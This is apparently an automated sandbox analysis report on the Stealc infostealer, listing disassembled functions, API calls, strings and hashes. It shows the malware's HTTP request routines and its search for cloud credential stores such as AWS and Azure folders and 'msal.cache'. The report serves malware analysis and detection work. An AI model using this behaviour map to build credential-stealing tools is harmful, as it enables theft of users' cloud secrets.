Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 006347EA
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634801
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634818
Part of subcall function 006347B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 006359F8
StrCmpCA.SHLWAPI(?,00F6D938), ref: 00635A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00635B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00F714D0,00000000,?,00F64700,00000000,?,00651A1C), ref: 00635E71
lstrlenA.KERNEL32(00000000), ref: 00635E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00635E93
HeapAlloc.KERNEL32(00000000), ref: 00635E9A
lstrlenA.KERNEL32(00000000), ref: 00635EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00635EC6
lstrlenA.KERNEL32(00000000), ref: 00635ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00635EF1
memcpy.MSVCRT(?), ref: 00635EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00635F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00635F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00635F4C
InternetCloseHandle.WININET(00000000), ref: 00635FB0
InternetCloseHandle.WININET(00000000), ref: 00635FBD
HttpOpenRequestA.WININET(00000000,00F6D948,?,00F6FDF8,00000000,00000000,00400100,00000000), ref: 00635BF8

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

InternetCloseHandle.WININET(00000000), ref: 00635FC7

Strings

------, xrefs: 00635D4C
------, xrefs: 00635C0B
", xrefs: 00635E16
------, xrefs: 00635A96
", xrefs: 00635CD5

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: 9194e625c64f1497af8358402cd883d90be2b5c8bf2ef89e567fc7abd6b7aa04
Instruction ID: 7cee075378c5b5ef2383f4f772bb5b1ae94698f3e577c9e591b53c4587a5b356
Opcode Fuzzy Hash: 9194e625c64f1497af8358402cd883d90be2b5c8bf2ef89e567fc7abd6b7aa04
Instruction Fuzzy Hash: 3312FB71860118BEEB59EBA0DC95FEEB37AFF54700F40419DB10A62091EF706A49CF69

Function 0063A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064AA70: StrCmpCA.SHLWAPI(00000000,00651470,0063D1A2,00651470,00000000), ref: 0064AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0063AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0063AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0063ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063A8B0

Part of subcall function 0064A820: lstrlenA.KERNEL32(00000000,?,?,00645B54,00650ADB,00650ADA,?,?,00646B16,00000000,?,00F61410,?,0065110C,?,00000000), ref: 0064A82B
Part of subcall function 0064A820: lstrcpy.KERNEL32(e,00000000), ref: 0064A885

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

lstrcatA.KERNEL32(?,00000000,00000000,00F6D668,00651318,00F6D668,00651314), ref: 0063ACEB
lstrcatA.KERNEL32(?,00651320), ref: 0063ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0063AD0D
lstrcatA.KERNEL32(?,00651324), ref: 0063AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0063AD2F
lstrcatA.KERNEL32(?,00651328), ref: 0063AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0063AD51
lstrcatA.KERNEL32(?,0065132C), ref: 0063AD60
lstrcatA.KERNEL32(?,00000000), ref: 0063AD73
lstrcatA.KERNEL32(?,00651330), ref: 0063AD82
lstrcatA.KERNEL32(?,00000000), ref: 0063AD95
lstrcatA.KERNEL32(?,00651334), ref: 0063ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0063ADB7
lstrlenA.KERNEL32(?), ref: 0063AE0D
lstrlenA.KERNEL32(?), ref: 0063AE1C
memset.MSVCRT ref: 0063AE6B

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 00639E10: memcmp.MSVCRT(?,v20,00000003), ref: 00639E2D

DeleteFileA.KERNEL32(00000000), ref: 0063AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0063ABD4

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: d75eb703df832e0d86edfa27c14488b65e14c1ad99a9818dc7d8db07f4617151
Instruction ID: c7d101134343689984c09e915d440aefcf51be9c428b1ed466ba3059ba866bc5
Opcode Fuzzy Hash: d75eb703df832e0d86edfa27c14488b65e14c1ad99a9818dc7d8db07f4617151
Instruction Fuzzy Hash: 5A124F71950108ABEB48FBE0DD96EEE733AFF54301F50415CB507A6091DE34AE4ACBA6

Function 00644D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00644D87

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcatA.KERNEL32(?,00000000), ref: 00644DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00644DCD

Part of subcall function 00644910: wsprintfA.USER32 ref: 0064492C
Part of subcall function 00644910: FindFirstFileA.KERNEL32(?,?), ref: 00644943

memset.MSVCRT ref: 00644E13
lstrcatA.KERNEL32(?,00000000), ref: 00644E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00644E59

Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FDC), ref: 00644971
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,00650FE0), ref: 00644987
Part of subcall function 00644910: FindNextFileA.KERNEL32(000000FF,?), ref: 00644B7D
Part of subcall function 00644910: FindClose.KERNEL32(000000FF), ref: 00644B92

memset.MSVCRT ref: 00644E9F
lstrcatA.KERNEL32(?,00000000), ref: 00644EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00644EE5

Part of subcall function 00644910: wsprintfA.USER32 ref: 006449B0
Part of subcall function 00644910: StrCmpCA.SHLWAPI(?,006508D2), ref: 006449C5
Part of subcall function 00644910: wsprintfA.USER32 ref: 006449E2
Part of subcall function 00644910: PathMatchSpecA.SHLWAPI(?,?), ref: 00644A1E
Part of subcall function 00644910: lstrcatA.KERNEL32(?,00F6D908,?,000003E8), ref: 00644A4A
Part of subcall function 00644910: lstrcatA.KERNEL32(?,00650FF8), ref: 00644A5C
Part of subcall function 00644910: lstrcatA.KERNEL32(?,?), ref: 00644A70
Part of subcall function 00644910: lstrcatA.KERNEL32(?,00650FFC), ref: 00644A82
Part of subcall function 00644910: lstrcatA.KERNEL32(?,?), ref: 00644A96
Part of subcall function 00644910: CopyFileA.KERNEL32(?,?,00000001), ref: 00644AAC
Part of subcall function 00644910: DeleteFileA.KERNEL32(?), ref: 00644B31

memset.MSVCRT ref: 00644F2B

Strings

Azure\.IdentityService, xrefs: 00644EEB
\.aws\, xrefs: 00644E4D
*.*, xrefs: 00644E64
\.azure\, xrefs: 00644DC1
msal.cache, xrefs: 00644EF0
*.*, xrefs: 00644DD8
zad, xrefs: 00644DF1, 00644E7D, 00644F09, 00644F34, 00644DF4, 00644E80, 00644F0C
Azure\.aws, xrefs: 00644E5F
\.IdentityService\, xrefs: 00644ED9
Azure\.azure, xrefs: 00644DD3

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zad
API String ID: 4017274736-1113441547
Opcode ID: aee56f5410c6e2ecc4a5564aa59b20056dd6379d15c84eb8b616b69fdba8abe8
Instruction ID: bffc31bb11613c51e7c494e03104d820775bdbb4755fc0016145f42f0757f839
Opcode Fuzzy Hash: aee56f5410c6e2ecc4a5564aa59b20056dd6379d15c84eb8b616b69fdba8abe8
Instruction Fuzzy Hash: 5541E5B594020467D754F7B0EC4BFDD373AAB51701F000458BA8AA60C1EEF497DC8B96

Function 0063CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 00648B60: GetSystemTime.KERNEL32(?,00F64A00,006505AE,?,?,?,?,?,?,?,?,?,00634963,?,00000014), ref: 00648B86

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0063CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0063D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0063D0CE
lstrcatA.KERNEL32(?,00000000,00F6D668,00651474,00F6D668,00651470,00000000), ref: 0063D208
lstrcatA.KERNEL32(?,00651478), ref: 0063D217
lstrcatA.KERNEL32(?,00000000), ref: 0063D22A
lstrcatA.KERNEL32(?,0065147C), ref: 0063D239
lstrcatA.KERNEL32(?,00000000), ref: 0063D24C
lstrcatA.KERNEL32(?,00651480), ref: 0063D25B
lstrcatA.KERNEL32(?,00000000), ref: 0063D26E
lstrcatA.KERNEL32(?,00651484), ref: 0063D27D
lstrcatA.KERNEL32(?,00000000), ref: 0063D290
lstrcatA.KERNEL32(?,00651488), ref: 0063D29F
lstrcatA.KERNEL32(?,00000000), ref: 0063D2B2
lstrcatA.KERNEL32(?,0065148C), ref: 0063D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0063D2D4
lstrcatA.KERNEL32(?,00651490), ref: 0063D2E3

Part of subcall function 0064A820: lstrlenA.KERNEL32(00000000,?,?,00645B54,00650ADB,00650ADA,?,?,00646B16,00000000,?,00F61410,?,0065110C,?,00000000), ref: 0064A82B
Part of subcall function 0064A820: lstrcpy.KERNEL32(e,00000000), ref: 0064A885

lstrlenA.KERNEL32(?), ref: 0063D32A
lstrlenA.KERNEL32(?), ref: 0063D339
memset.MSVCRT ref: 0063D388

Part of subcall function 0064AA70: StrCmpCA.SHLWAPI(00000000,00651470,0063D1A2,00651470,00000000), ref: 0064AA8F

DeleteFileA.KERNEL32(00000000), ref: 0063D3B4

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 14c662cfe90eb9dbc87c26a5520022574aa3425e80d6ec6b9ee0ffe05e2f4524
Instruction ID: f13cd03db0796294d1faee83ee4b6fc4424dac635d3ec9f25554c2ae8bc622f4
Opcode Fuzzy Hash: 14c662cfe90eb9dbc87c26a5520022574aa3425e80d6ec6b9ee0ffe05e2f4524
Instruction Fuzzy Hash: F8E15D71850108BBDB48EBE0DD9AEEE737AFF54301F104158F507A6091DE35AE49CBA6

Function 00634880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 006347EA
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634801
Part of subcall function 006347B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00634818
Part of subcall function 006347B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00634839
Part of subcall function 006347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00634849

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00634915
StrCmpCA.SHLWAPI(?,00F6D938), ref: 0063493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00634ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00650DDB,00000000,?,?,00000000,?,",00000000,?,00F6D7E8), ref: 00634DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00634E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00634E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00634E49
InternetCloseHandle.WININET(00000000), ref: 00634EAD
InternetCloseHandle.WININET(00000000), ref: 00634EC5
HttpOpenRequestA.WININET(00000000,00F6D948,?,00F6FDF8,00000000,00000000,00400100,00000000), ref: 00634B15

Part of subcall function 0064A9B0: lstrlenA.KERNEL32(?,00651110,?,00000000,00650AEF), ref: 0064A9C5
Part of subcall function 0064A9B0: lstrcpy.KERNEL32(00000000), ref: 0064AA04
Part of subcall function 0064A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0064AA12

Part of subcall function 0064A8A0: lstrcpy.KERNEL32(?,e), ref: 0064A905

Part of subcall function 0064A920: lstrcpy.KERNEL32(00000000,?), ref: 0064A972
Part of subcall function 0064A920: lstrcatA.KERNEL32(00000000), ref: 0064A982

InternetCloseHandle.WININET(00000000), ref: 00634ECF

Strings

------, xrefs: 006349BD
------, xrefs: 00634B28
------, xrefs: 00634C69
", xrefs: 00634BF2
", xrefs: 00634D33

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006E1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006ED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.0000000000712000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000071F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000073F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000074E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007D5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007F5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000007FB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000087A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3298099490.000000000088C000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_630000_stealc_default2.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 0b20162f43c9bbc08a0960014701988530aa42fc98edd7d43cc4b3b75a0ee16d
Instruction ID: e76b1da6bf8dc359b18b1fea805a70fc40eb2620737c8070d62e6f2596d9eb9b
Opcode Fuzzy Hash: 0b20162f43c9bbc08a0960014701988530aa42fc98edd7d43cc4b3b75a0ee16d
Instruction Fuzzy Hash: 0112F972951118BAEB58EB90DC92FEEB33ABF55300F50419DB10662091EF706F49CF6A

Function 00648320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0064A740: lstrcpy.KERNEL32(e,00000000), ref: 0064A788

RegOpenKeyExA.KERNEL32(00000000,00F6DEA8,00000000,00020019,00000000,006505B6), ref: 006483A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00648426
wsprintfA.USER32 ref: 00648459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0064847B
RegCloseKey.ADVAPI32(00000000), ref: 0064848C
RegCloseKey.ADVAPI32(00000000), ref: 00648499

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

Strings

%s\%s, xrefs: 0064844D
?, xrefs: 0064837A
- , xrefs: 006485A3

Memory Dump Source

Source File: 00000014.00000002.3296974695.0000000000631000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00630000, based on PE: true

Associated: 00000014.00000002.3296938704.0000000000630000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297023855.000000000064E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297065149.000000000065B000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000067A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.000000000068A000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000014.00000002.3297111668.00000000006B5000.00000004.00000001.01000000.0000000B.sdmpDownload File
